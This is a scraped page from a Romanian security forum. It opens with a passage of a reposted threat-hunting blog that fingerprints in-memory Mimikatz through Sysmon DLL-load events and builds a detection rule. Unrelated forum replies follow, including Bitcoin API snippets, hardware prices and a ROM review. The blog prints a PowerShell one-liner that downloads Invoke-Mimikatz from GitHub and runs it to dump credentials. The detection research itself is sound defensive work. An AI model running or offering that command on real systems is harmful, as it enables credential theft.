refresh your dashboard and as you already know, you will have most of the unique images count increased by one as shown in figure 58 below. Figure 58. Checking initial images loaded by PowerShell to download Invoke-Mimikatz from Github. Now, if you go to the page #4, you will start to see new unique images/modules. Those are images loaded by PowerShell to perform the "DownloadString" operation. You can go to page #5 too as shown in figure 60, and you will see more unique images. (You can expand your first visualization to see the long paths of a few images. The second visualization we added to the dashboard earlier will just move down) Figure 59. Unique Images loaded by PowerShell to download Invoke-Mimikatz from Github. Figure 60. More unique images loaded by PowerShell to download Invoke-Mimikatz from Github. Then, we can perform the same operation (Downloading Invoke-Mimikatz from Github as a string) to make sure we have a strong fingerprint for that particular action and avoid mixing it with images loaded when Mimikatz is executed in memory. I opened PowerShell three times, executed the same commands to only download Invoke-Mimikatz as a string, and closed them all as shown in figure 61. Figure 61. Downloading Invoke-Mimikatz as a string three times. Then, you will see that the counts for the initial images loaded by PowerShell were increased by 3, but if you go to page #5 as shown in figure 63, you can see our "DownloadString" images loaded 4 times. Figure 62. Images loaded by PowerShell after downloading Invoke-Mimikatz as a string 3 more times. Figure 63. Images loaded by PowerShell after downloading Invoke-Mimikatz as a string 3 more times. Running Mimikatz in Memory to get started run PowerShell as administrator. Figure 64. Running PowerShell as Administrator. In order to download Invoke-Mimikatz as a string from Github and run it in memory, type the following commands: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds Figure 65. Running Mimikatz in memory. You will of course get the same results as when it was run on disk. Close your PowerShell console. Figure 66. Results from running Mimikatz. Analyzing In-Memory Mimikatz Results After closing PowerShell, refresh your dashboard (Make sure you have the right Time Range), and you will see that our initial default images loaded by PowerShell were only increased by 1 and not by 2 as when we ran Mimikatz on disk. This is because the Mimikatz binary is run reflectively inside of PowerShell, and several of the modules needed are already loaded by PowerShell itself. Figure 67. Images loaded by PowerShell when Mimikatz is executed reflectively in memory. Next, if you go to page #5, you will see that the images loaded during the "DownloadString" operation increased by one (count of 5 now as expected). In addition, we can see one of the images that was also loaded while executing Mimikatz on disk: C:\Windows\System32\WinSCard.dll However, there are four new images that were loaded when Mimikatz was executed reflectively in memory. (I will explain later why those get loaded when we run Invoke-Mimikatz) C:\Windows\System32\whoami.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\WMINet_Utils.dll C:\Windows\System32\NapiNSP.dll C:\Windows\System32\RpcRtRemote.dll Figure 68. Images loaded by PowerShell when Mimikatz is executed reflectively in memory. On page #6, we can also see a few new images that we did not see when Mimikatz ran on disk. (I will explain later why those get loaded when we run Invoke-Mimikatz). C:\Windows\System32\nlaapi.dll C:\Windows\System32\ntdsapi.dll C:\Windows\System32\pnrpnsp.dll C:\Windows\System32\wbem\fastprox.dll C:\Windows\System32\wbem\wbemprox.dll C:\Windows\System32\wbem\wbemsvc.dll C:\Windows\System32\wbem\wmiutils.dll C:\Windows\System32\wbemcomn.dll C:\Windows\System32\winrnr.dll However, we can also see almost the rest of the images that were loaded when Mimikatz was executed on disk. C:\Windows\System32\apphelp.dll C:\Windows\System32\cryptdll.dll C:\Windows\System32\hid.dll C:\Windows\System32\logoncli.dll C:\Windows\System32\netapi32.dll C:\Windows\System32\samlib.dll C:\Windows\System32\vaultcli.dll C:\Windows\System32\wintrust.dll C:\Windows\System32\wkscli.dll I dont see the following modules (Loaded by Mimikatz on disk) as unique ones anymore (count 1). This is because they are used to handle encryption and were part of the "DownloadString" operation base-lining. We handled encrypted traffic with Github so it makes sense. It is safe to say that those modules will be noisy (it does not mean that they do not get loaded while running Mimikatz in Memory though. It is just that PowerShell loads them first to handle the encrypted traffic.) C:\Windows\System32\bcrypt.dll C:\Windows\System32\bcryptprimitives.dll C:\Windows\System32\ncrypt.dll Figure 69. Images loaded by PowerShell when Mimikatz is executed reflectively in memory. You can reduce the width of the first visualization and the second one that we added earlier should move back up next to the first one. This is just so that you can see the total number of images loaded by PowerShell at the end of this test. Figure 70. Images loaded by PowerShell when Mimikatz is executed reflectively in memory. In order to document your findings, export the results to a CSV file by clicking on the option "formatted" below the "Images_Loaded" results, and save it to your computer as shown in figure 71. Figure 71. Exporting results to a CSV file. Comparing Results As we can see in figure 72 below, it does not matter if Mimikatz is executed on disk or in memory. It still loads the same extra modules it needs in order to work. Most of the modules that Mimikatz needs are already loaded by PowerShell depending on what happens before running script, but we can still see a few unique ones that could allow us to create a basic fingerprint for In-memory Mimikatz. For example, if we take out the 3 modules used for encryption, we can use the other 10 to create a basic detection rule. We could hunt by grouping the following modules being loaded in a second or four seconds bucket time. C:\Windows\System32\WinSCard.dll C:\Windows\System32\apphelp.dll C:\Windows\System32\cryptdll.dll C:\Windows\System32\hid.dll C:\Windows\System32\logoncli.dll C:\Windows\System32\netapi32.dll C:\Windows\System32\samlib.dll C:\Windows\System32\vaultcli.dll C:\Windows\System32\wintrust.dll C:\Windows\System32\wkscli.dll Figure 72. Comparing results on-disk and in-memory. What about whoami.exe? We could add that to our basic In-memory Mimikatz fingerprint. If an adversary is using the exact Invoke-Mimikatz script from the Empire Project, then it will reduce the number of false positives. The whoami part is defined in the main function of Invoke-Mimikatz as you can see in figure 73 below. It is important to note that Invoke-Mimikatz from PowerSploit does not have this command in the script. Figure 73. Whoami utilized in Invoke-Mimikatz. What about the modules loaded from the wbem directory and WMINet_Utils? All that is part of Windows Management Instrumentation (WMI) technology. It provides access to monitor, command, and control any managed object through a common, unifying set of interfaces, regardless of the underlying instrumentation mechanism. WMI is an access mechanism.[Source]. But, why do they get loaded when we run Mimikatz in Memory? It is because of a simple command used in the Invoke-Mimikatz script to verify if the PowerShell Architecture (32/bit/64bit) matches the OS architecture. Most of the modules in question were pointing to WMI activity so I just accessed the code and looked for any signs of WMI. Invoke-Mimikatz uses the command "Get-WmiObject" and the class "Win32_Processor" to find out information about the CPU and to get the "AddressWidth" value which is used to verify the OS Architecture as shown in figure 74 below. Figure 74. WMI in Invoke-Mimikatz. So I tested that command in my computer and logged all the modules being loaded by PowerShell. I refreshed my dashboard and I saw that all the modules in question were loaded while executing the following command: get-wmiobject -class Win32_Processor Figure 75. Executing get-wmiobject with class Win32_Processor to get information about the CPU. Figure 76. Images loaded after using WMI. I want to point out that the following modules can generate a lot of false positives since they can be triggered by simple office applications (x86/x64) and the use of Internet Browsers such as Internet Explorer as shown in figure 77 below: C:\Windows\System32\nlaapi.dll C:\Windows\System32\ntdsapi.dll Figure 77. Images loaded after using WMI. In addition, in my opinion, depending on how much WMI is used in your environment, it might be a good idea to start monitoring for at least: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\WMINet_Utils.dll You can test that in your environment and see how noisy it can get. Log for WMINet_Utils.dll in .NET versions available in your gold image. On the other hand, most of the rest of the modules are loaded by several third-party and built-in applications, so they are too noisy and could cause a big number of false positives: C:\Windows\System32\nlaapi.dll C:\Windows\System32\ntdsapi.dll C:\Windows\System32\pnrpnsp.dll C:\Windows\System32\wbem\fastprox.dll C:\Windows\System32\wbem\wbemprox.dll C:\Windows\System32\wbem\wbemsvc.dll C:\Windows\System32\wbem\wmiutils.dll C:\Windows\System32\wbemcomn.dll C:\Windows\System32\winrnr.dll So far, our detection strategy is still to look for the following 10 modules: C:\Windows\System32\WinSCard.dll C:\Windows\System32\apphelp.dll C:\Windows\System32\cryptdll.dll C:\Windows\System32\hid.dll C:\Windows\System32\logoncli.dll C:\Windows\System32\netapi32.dll C:\Windows\System32\samlib.dll C:\Windows\System32\vaultcli.dll C:\Windows\System32\wintrust.dll C:\Windows\System32\wkscli.dll How can we test our group of modules and tune it to reduce false positives? Before thinking on deploying a detection rule like this to your Sysmon config in production, I highly recommend to get a gold image and log every single module loaded by every process or application in the system. I tested this in my own environment at home. Edit and Update your Sysmon config Open the sysmon configuration we used for our initial tests and set it to not exclude anything from Event ID 7 - Image Load (Log everything) as shown in figure 79 below. Figure 78. Editing current sysmon config. Figure 79. Editing current sysmon config. Open cmd.exe as administrator and run the following commands as shown in figure 80 below: sysmon.exe -c [edited sysmon xml file] Then, confirm that the changes were applied by running the following command: sysmon.exe -c (You will see that now everything for ImageLoad is being logged) Figure 80. Updating Rule configurations. Open several applications We are logging every single Image loaded in our system on the top of our Invoke-Mimikatz findings (DO NOT DELETE/CLEAR YOUR INDEX). We can now open and close applications that a user most likely uses in an organization (Depending on the type of job) as shown in figure 81. Figure 81. Open applications on your testing machine. Make sure that you also have the right Time range assigned to your dashboard since we are still using the logs we gathered from when we ran Invoke-Mimikatz. I set mine to Last 1 hour as shown in figure 83. Figure 82. Adjusting Time Range. Refresh your dashboard and you will see a lot of modules being loaded as shown in figure 83 below. You can adjust your visualizations if you want to. That will allow you to see more than 200 images being loaded on your box (That is how many records we set our Images_Loaded to show) Figure 83. Several images being loaded. Hunt for the group of 10 modules Next, with all that data, we can query for the 10 modules of our initial In-Memory Mimikatz fingerprint as shown in figure 84 and 85 below. "WinSCard.dll", "apphelp.dll", "cryptdll.dll", "hid.dll", "logoncli.dll", "netapi32.dll", "samlib.dll", "vaultcli.dll", "wintrust.dll", "wkscli.dll" You will see that 5 out of the 10 modules are still unique from our basic fingerprint (Most of them are used to manage authentication security components and features of the system) as shown in figure 84 below. C:\Windows\System32\WinSCard.dll C:\Windows\System32\cryptdll.dll C:\Windows\System32\hid.dll C:\Windows\System32\samlib.dll C:\Windows\System32\vaultcli.dll You might be thinking why not netapi32.dll? (It was actually loaded 2 more times. It does not mean that netapi32.dll is not considered a common binary needed for authentication support. However, since it seems to be used by a few other applications, I rather filter that one out) Figure 84. Querying for only In-memory Mimikatz fingerprint. If you want to know what modules/images are being loaded by a specific Image on the EventID7_Images visualization, click on one of them and a filter will be created to show you only images loaded related to your selection. For example, Excel apparently loads apphelp.dll and wintrust.dll from our list of 10 as shown in figure 85 below. Figure 85. What is loading what?. Or vice-versa you can click on the loaded image and it will filter everything out to show you the Images that loaded that specific module as shown in figure 86. Figure 86. What is loading what? What about other operations where Authentication components are involved? I cleaned/deleted my index and started paying attention to authentication operations such as logging onto web applications or my computer after rebooting it. Logging onto the Kibana Web Interface I opened IE , and the first two modules out of the 10 that get loaded are wintrust.dll and apphelp.dll. Then, I browsed to my ELK's IP address and got a prompt to enter my credentials. I noticed that for IE to do all this, it needed to load 5 out of the 10 modules needed by Mimikatz also as shown in figure 87 below. 3 out of those 5 are still part of the ones required for authentication support. samlib.dll WinSCard.dll vaultcli.dll Figure 87. Images loaded by IE while authenticating to Kibana. Logging onto my system after rebooting it The following processes shown in figure 88 below are the first processes that get started when a system boots up. (The ones with the grayed icons are processes that have already exited the system) Figure 88. Images loaded by the first processes that get started by your system when it boots up. So what happens when we look for the 5 modules that so far are considered part of the combination with less false positives against the processes shown in figure 88? "WinSCard.dll", "cryptdll.dll", "hid.dll", "samlib.dll", "vaultcli.dll" As you can see below in figure 89, there were hits for all of them but by processes involving authentication. The one with the more hits was "LogonUI.exe" Figure 89. "Credential Providers" modules used by a few processes. When conducting research on that particular process (LogonUI.exe) for a training class I put together for some colleagues, I found out the following: "Whenever a user hits Ctrl-Alt-Del, winlogon.exe switches to another desktop and launches a special program, logonui.exe, to interact with the user. The user may be logging on initially, (un)locking the desktop, changing her password or some other task, but the user is interacting with logonui.exe on a special desktop, not winlogon.exe on the default desktop. When authenticating, logonui.exe loads DLLs called "credential providers" which can handle the password, smart card or, with a third-party provider, biometric information, to authenticate against the local SAM database, Active Directory, or some other third-party authentication service." [Source] Therefore, all those 5 modules being loaded together by other processes handling credentials would make sense. We could use this knowledge to filter out a few processes where one would normally enter credentials to authenticate to a certain service or application. For example, processes such as Chrome, IE or even outlook (known for asking your password 50 times a day) would load those modules. SSO via your browser would also load most of those images. Final Thoughts Even though this is just part I of detecting In-memory Mimikatz, we are already coming up with a basic fingerprint that will allow us to reduce the number of false positives when hunting for this tool when it is executed in memory. Based on the number of tests performed, a basic fingerprint for In-memory Mimikatz from a modules perspective could be: C:\Windows\System32\WinSCard.dll C:\Windows\System32\cryptdll.dll C:\Windows\System32\hid.dll C:\Windows\System32\samlib.dll C:\Windows\System32\vaultcli.dll If you can afford (enough space) to log one more image being loaded in your environment, I think it would be a good idea to monitor for the following module. I only see it being loaded by PowerShell after launching several other applications and logging the modules being loaded. C:\Windows\Microsoft.NET\Framework64\[Versions available]\WMINet_Utils.dll Hunting Technique recommended Grouping [Source] "Grouping consists of taking a set of multiple unique artifacts and identifying when multiple of them appear together based on certain criteria. The major difference between grouping and clustering is that in grouping your input is an explicit set of items that are each already of interest. Discovered groups within these items of interest may potentially represent a tool or a TTP that an attacker might be using. An important aspect of using this technique consists of determining the specific criteria used to group the items, such as events having occurred during a specific time window.This technique works best when you are hunting for multiple, related instances of unique artifacts, such as the case of isolating specific reconnaissance commands that were executed within a specific timeframe." Therefore, the idea is to group the 5 images/modules mentioned above being loaded in a 1-5 seconds bucket time while possibly filtering out known processes performing that type of behavior. Only a few processes, as far as I can tell, load all 5 modules (not just one or 2 or 3 or 4) during authentication operations. In addition, NONE of the other processes launched during testing loaded the 5 modules together with the WMINet_Utils.dll one. Therefore, I see the value in grouping them together and seeing what processes are loading all of those in a short period of time (seconds). Once again, this is just part I, and in future posts I will group this approach with other chains of events in order to reduce the number of false positives while hunting for In-Memory Mimikatz. Let me know how it works out for you when logging for those specific modules in your organization. I would highly recommend to take this approach in a gold image first and then log one module at a time to test which might cause several false positives. I would love to hear your results! Feedback is greatly appreciated! Thank you. Update (03/21/2017) Mimikatz New version released 2.1.1 20170320 Extra DLL loaded: "Winsta.dll" Really noisy one so it does not change our basic fingerprint. References: Security Management Components Authentication Security Components Exfiltration/Get-VaultCredential.ps1 PowerSploit - Invoke-Mimikatz Empire Project - Invoke-Mimikatz Process Hacker - SANS Wardog at 8:21 PM Sursa: https://cyberwardog.blogspot.ro/2017/03/chronicles-of-threat-hunter-hunting-for.html?m=1

Protecting the irreplaceable | www.f-secure.com Kimmo Kasslin, 26th Feb 2014 •T-110.6220 Special Coursein Information Security Slides: http://www.cse.tkk.fi/fi/opinnot/T-110.6220/2014_Reverse_Engineering_Malware_AND_Mobile_Platform_Security_AND_Software_Security/luennot-files/T1106220.pdf

La cum scriu eu cod, nici macar eu nu mai stiu ce, cand, de ce si cum am scris, ce sa mai zic de niste analize heuristice...

http://www.xfxforce.com/en-us/products/amd-radeon-rx-500-series/rx-580-gts-4gb-dd-rx-580p4dfd6 Are cineva la 1500 de lei/buc, 24 de bucăți disponibile - noi, sigilate, factură și 2 ani garanție. Vei avea nevoie si de risere, cauta o placa de baza cu cat mai multe usb-uri si pcie, sau o placa de baza deasta. Daca te pricepi cat de cat la electronica si ansamblat sisteme, nu ai cap de pluta si nu iti inozi degetele cand ansamblezi un pc si sertizezi un cablu, fa-l tu, altfel cumpara-l gata ansamblat.

Nu stiam despre asta...interesant, am mai invatat ceva :).

Făceam caterinca, man. Nu asta era cu stomatologia și după cu bursa după cu plm?😂

Parkinson's law of triviality https://en.m.wikipedia.org/wiki/Law_of_triviality

Da, sunt de acord cu ce spui tu. Dar și asta tine de security, daca omul s a hotarat sa își facă o platforma și ii e frica sa nu ii fure cineva planurile de stomatologie?

Mai da-le-n plm de poze!!! La alte thread-uri security related nu va mai dati atat cu parerea. E o chestie de nimic...cand ai prea mult timp liber stai sa dezbati si sa analizezi toate cacaturile. De ce nu si-a mai luat coana Leana izmeana ingalbenita pe ea? @aelius @Nytro va rog frumos, cred ca se poate inchide.

Scrieti pretul ca nu va mai suport in plm! Nu e Piata Obor aici, mai da-va-n sange! Tu ti-ai pus mrmihai2017 si vii la noi cu proiecte de zeci de mii de coco. Ca ce? Ca ai un prieten care are un prieten care are un prieten si speri si tu sa ciupesti ceva de la hackerasii RST? Detaliile le discuti pe chaturi si prin PM dupa ce descrii proiectul amanuntit si spui bugetul maxim pe care il aloci. Asa dai dovada de profesionalism si o sa fii tratat cu seriozitate si respect. Invatati in plm sa lucrati si sa abordati proiectele si problemele ca d-asta sunteti toti muritori de foame si sfatosi. Numai sfatosi!

http://scaneye.net/ In trecut era si serviciul asta, care nu stiu daca mai functioneaza.

Foarte probabil, dar daca n-ai nudes sau cine stie ce nu vad o problema asa de mare Nu am patit pana acum, stiu persoane care utilizeaza de mai mult timp ca mine si nu si-au pierdut pozele pana acum.

Nu sunt in masura sa fac un pret dar eu stiu sigur ca as cere plata la ora si nu as face vreo promisiune ca e gata in data de "X". Estimez un 20.000$ lejer pentru ceva serios, sigur, intretinut etc; cu statistici in timp real, tot setul de dracii posibil necesare sa numai zic de o interfata cat mai light pentru toata maimuta. Daca e insa sa ne rezumam pe exemplul oferit (anume localbitcoins) ala poate l-as scoate mult mai ieftin ca e treaba de maxim 21 de zile lucratoare + marja de eroare 5 zile.

https://blockchain.info/en/q/newkey https://github.com/BitcoinPHP/BitcoinECDSA.php ### https://blockexplorer.com/api-ref https://pypi.python.org/pypi/pycoin https://github.com/richardkiss/pycoin https://github.com/vbuterin/pybitcointools import bitcoin as btclib import requests from pycoin.services.blockchain.info import BlockchainInfoProvider from pycoin.tx import script, Tx ### https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list https://github.com/jgarzik/python-bitcoinrpc from bitcoinrpc.authproxy import AuthServiceProxy, JSONRPCException def btc_rpc_connect(config): rpc_server_url = ("http://{user}:{password}@{host}:{port}").format( user=config.rpc_user, password=config.rpc_pass, host=config.rpc_host, port=config.rpc_port ) rpc_conn = AuthServiceProxy(rpc_server_url) return rpc_conn config = { 'rpc_user': 'username', 'rpc_pass': 'password', 'rpc_host': 'host', 'rpc_port': 'port', } try: rpc_conn = btc_rpc_connect(config) btc_address = rpc_conn.getnewaddress('accountname') amount = rpc_conn.getreceivedbyaddress('some_btc_address', 2) except JSONRPCException, e: if settings.DEBUG: print e ### Coinbase API - VA RECOMAND SA EVITATI! <?php require __DIR__ . '/vendor/autoload.php'; use Coinbase\Wallet\Client; use Coinbase\Wallet\Configuration; use Coinbase\Wallet\HttpClient; use Coinbase\Wallet\Mapper; use Coinbase\Wallet\Resource\Account; use Coinbase\Wallet\Resource\Address; $apiKey = 'XXXXXXXX'; $apiSecret = 'XXXXXXXXXX'; $configuration = Configuration::apiKey($apiKey, $apiSecret); $client = Client::create($configuration); $account = $client->getPrimaryAccount(); $address = new Address(); $client->createAccountAddress($account, $address); echo $address->getAddress(); ?> ### Plaintext query api to retreive data from blockchain.info: https://blockchain.info/q Poate va trebuie si wrapper-ul asta: https://github.com/gsalvati/jsonRpcClient-PHP/blob/master/jsonRPCClient.php

Hai bro, ce naiba! Folosesti api-ul si generezi adrese BTC. Ca si cum ti-ai crea un cont nou. Cine stie, foloseste deja, cine nu, o sa inceapa sa foloseasca, i-am dat idei :). Documenteaza-te si pune-te si tu putin la punct! Iti las aici un video, sper sa te ajute. Wallet-ul e cu totul altceva. https://www.bitcoin.com/choose-your-wallet/ Recomand: Copay Bitcoin Core Multibit Electrum Armory https://blockchain.info/wallet/#/ https://bitcoin.org/en/ Ca sa afli mai mult despre ele dupa /choose-your-wallet/ pui copay, armory etc...

E fake.

Custom ROMs while only being a part of the vast number of things you can change about your Android smartphone, are one of the most important aspects of it. A majority of us modders, if not all, use a custom ROM as our daily driver. The reasons are quite obvious. Even the simplest of custom ROMs, such as Lineage OS, have those little-inbuilt features that the stock Android does not have. In many cases, such as an aging Samsung, Sony, LG, or HTC phone, a custom ROM breathes new life to the device, since most of them are based on stock Android unlike the official firmwares of these devices, loaded with unwanted services and skins. Today, we’re taking a look at one such Android 7.1.2 Nougat based custom ROM, Resurrection Remix 5.8.3. Resurrection Remix is one of the most well-known names in the world of custom ROMs. The ROM developed under the banner is undoubtedly one of the most feature-packed ROMs out there. But, for a custom ROM, the most important aspects are smooth and stable performance, a good battery life and a large online community where a user can go to for help. Resurrection Remix covers those bases as well. Features Apart from the standard Android Nougat features Lineage OS features, Resurrection Remix 5.8.3 has a lot of other customization options. Enable/Disable Navbar Navbar Button Customization smart bar Navbar Pulse Navbar Fling Double Tap To sleep navbar Statusbar Brightness Slider Enable/Disable Show Notification Count SuperUser Indicator Switch Double Tap To sleep Statusbar Carrier Label Carrier Label Switch Carrier label Color Carrier Label size Clock Customizations Time & date Day & date Google Center/Right/Left Clock Choice Date Format Clock Font Styles Battery Bar customization Icon Customization(circle/landscape/Portrait and more) % Text Network Traffic Indicator Network Traffic Arrows Switch Incoming/OutGoing Traffic Network traffic Color Statusbar RR Logo RR logo Color Position Custom Logos Logo Color Position Style StatusBar Weather Weather Color Weather Position(left/right) Weather Font Style Weather size StatusBar Ticker Ticker Text color Ticker Icon Color Animations Toast Animations ListView Animations System Animations Power Menu Animations Misc Animations Gestures Gestures Anywhere Feature 3 Finger Swipe Screenshot Gesture App Sidebar Choose apps in AppSidebar Trigger Width Trigger Height Trigger Position App Circle Bar Choose apps in App circle Trigger Width Trigger Height Trigger Position Pie Pie Trigger(left ,Right ,Bottom) Pie Targets Pie Colors More Pie Features Recents Panel Clear All button Switch Clear All Tasks Switch Clear All Button Location(Top right,Top Left,Top Center,Bottom Left,Bottom Right,Bottom Center) Full-screen Recents Recents Styles OmniSwitch Cclock Widget Clock And Alarm Customizations Weather Panel Customizations Calendar Events LockScreen Lockscreen Bottom Shortcuts Lockscreen General Shortcuts 100+ Icons for Shortcuts Double Tap to Sleep Lockscreen Lockscreen Media Art/Enable Disable Quick PIN/Patter Unlock LockScreen Wallpaper Lockscreen Weather Widget Lockscreen Icons Color Quick Settings Draggable Tiles Customizable Tiles Dynamic Tiles Adjustment Number of columns/rows Tile Animations Notification Drawer LongPress Toggles to Enter Settings Disable Immersive Mode Messages Force Expand Notification Quick PullDown Smart Pulldown Notification Panel Transparency Volume Dialog Transparency Notification Panel Stroke Volume Dialog Stroke Buttons Backlight Timer Backlight Strength Advanced Reboot Menu Power Menu Customizations Power Off Reboot(Recovery, Bootloader, Hot Reboot) ScreenShot Power Menu End Calls Switch Restart SystemUI Airplane Mode ScreenRecord On the Go Mode Sound Panel Home Button (For devices with HW keys Only) Home Button answer call Long Press Actions Double Tap Actions Menu Button (For devices with HW keys Only) Short Press Actions Long Press Actions Search Button (If Device Supports) Short Press Action Long Press Action Volume Buttons Wake Up Device Playback Control Ringtone Volume Control Keyboard Cursor Control Swap Buttons on Landscape mode Volume Key Answer Miscellaneous SELinux Switch (Switch Between Permissive and Enforcing SELinux if Device has Selinux Enabled) cLock Shortcut Disable battery Saver Warning Color OTA Updates Camera Shutter Sound Enable/Disable SystemUI Tuner Enabled By default Removed Demo mode and Tweaked SystemUI Tuner As compared To AOSP StatusBar Icons Customizations Quick Settings Customizations Other Features Performance Profiles LCD Density Expanded Desktop Mode Heads Up Switch and customizations Live Display Configurable 0,90,180,270 Degree Rotation Lock Screen Autorotate Switch Native Tap to Wake From Marshmallow Double Tap Power Button To enable Camera gesture Prevent Accidental Wakeup Wake Phone on Charging Plug Battery Light Customizations Notification Light Customizations Font size CM privacy guard Performance Tweaks(Kernel Aduitor Inbuilt) CM root inbuilt Resurrection Remix ROM Download: Supported devices Resurrection Remix supports more than hundred Android devices officially, and an even greater number of them unofficially through other developers at XDA. Most of the popular devices are officially supported by the Resurrection Remix team. These include: OnePlus 3/3T Samsung Galaxy S7/S7 Edge Samsung Galaxy S6/S6Edge Google Pixel/Pixel XL Nexus 6P/5X/6/5 Xiaomi Redmi devices Sony Xperia Z series HTC flagships Many other devices from all brands And a lot more. The full list of devices along with flashable ROM downloads are available at SourceFourge. Sursa: http://www.droidviews.com/resurrection-remix-rom-review/ Personal, folosesc Resurrection Remix de aproape un an de zile şi nu am avut probleme cu el. Este super bine făcut, customizabil şi disponibil pentru aproape toate telefoanele. Puteţi găsi tutorial de instalare pentru telefonul vostru pe XDA-Developers.

Bai, a fost simplu dar sunt eu prost. Ma complicam la inceput sa inserez un alt query in parametrul par, dar nu avea rost pentru ca ghilimele. Ai pm, mersi de challenge.

@Gushterul Offtopic: Da. A avut o perioada pe la inceputul anului, cand nu prea s-a simtit bine, dar acum este in regula. Actualizez pe blog ce mai face, insa nu asa des ca inainte, pentru ca acum face tomografiile o data la 6 luni, nu la 3 luni ca inainte. De pe la inceputul lui 2016 am eu grija de el cu cheltuielile, asa cum este si normal, sa nu-i lipseasca vitamina C si alte lucruri care-i pot prelungi viata. Stateam si ma gandeam la o chestie: sunt persoane care s-au operat odata cu el, o singura data, nu de doua ori ca el si care intre timp nu mai sunt printre noi. Au urmat si ele acelasi tratament ca tata, insa, din pacate, nu a fost sa fie. Asta inseamna ca poate toate lucrurile alea pe care le-am discutat impreuna si le-am cumparat cu voi, baieti destepti, l-au ajutat sa fie in viata si acum. O sa va respect toata viata pentru ce ati facut pentru el si va mai multumesc inca o data acum.

Salut. In general China = proasta calitate, ieftin = prost.